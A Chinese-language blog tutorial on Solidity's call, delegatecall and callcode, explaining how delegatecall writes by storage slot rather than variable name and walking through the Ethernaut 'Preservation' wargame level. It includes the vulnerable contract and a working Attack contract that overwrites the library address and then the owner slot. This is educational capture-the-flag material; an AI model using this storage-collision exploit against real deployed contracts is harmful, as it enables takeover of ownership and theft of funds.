Delegatecall
Article Summary
GPT 4
原理
三种调用函数
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
中的内置变量 msg
会随着调用的发起而改变,msg
保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。
异同点
call :调用后会将msg的值修改为调用者,执行环境为被调用的运行环境
delegatecall: 调用后内置变量 msg
的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
callcode: 调用后内置变量 msg
的值会修改为调用者,但执行环境为调用者的运行环境
delegatecall语法和call类似,也是:
目标合约地址.delegatecall(二进制编码);
其中二进制编码利用结构化编码函数abi.encodeWithSignature获得:
abi.encodeWithSignature("函数签名", 逗号分隔的具体参数)
函数签名为"函数名(逗号分隔的参数类型)"。例如abi.encodeWithSignature("f(uint256,address)", _x, _addr)。
和call不一样,delegatecall在调用合约时可以指定交易发送的gas,但不能指定发送的ETH数额
delegatecall的滥用
威胁分析
delegatecall 调用有 address
和 msg.data
两个参数
若 msg.data
可控,则可调用 address
处任意函数
原因分析
pragma solidity ^0.4.23;
contract A {
address public c;
address public b;
function test() public returns (address a) {
a = address(this);
b = a;
}
}
contract B {
address public b;
address public c;
function withdelegatecall(address testaddress) public {
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
当部署两个合约后,使用外部账户调用withdelegatecall函数。
A合约中,c=0;b=0;
B合约中,b=0;c=address (A)
事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。
题目
ethernaut 第 16 题
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
分析
要想改变owner,只有constructor函数,但是有delegatecall漏洞。
setFirstTime(uint _timeStamp)
setSecondTime(uint _timeStamp)
这两个函数是调用setTime函数。也就是说,当我们第一次调用setFirstTime函数时,就会设置solt0为攻击合约的地址,第二次调用该函数时就会调用该合约的函数即,改变的是solt2。
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
contract Attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
Preservation public target; // target Preservation contract
constructor(address _target) public {
target = Preservation(_target);
}
function attack1() public {
target.setFirstTime(uint256(uint160(address(this))));
target.setFirstTime(uint256(uint160(msg.sender)));
}
// overwrite the library addresses and owner address
function setTime(uint _time) public {
owner=address(uint160(_time));
}
}
调用attack1().
This piece of writing is an original article, utilizing theCC BY-NC-SA 4.0Agreement. For complete reproduction, please acknowledge the source as Courtesy ofxiaocai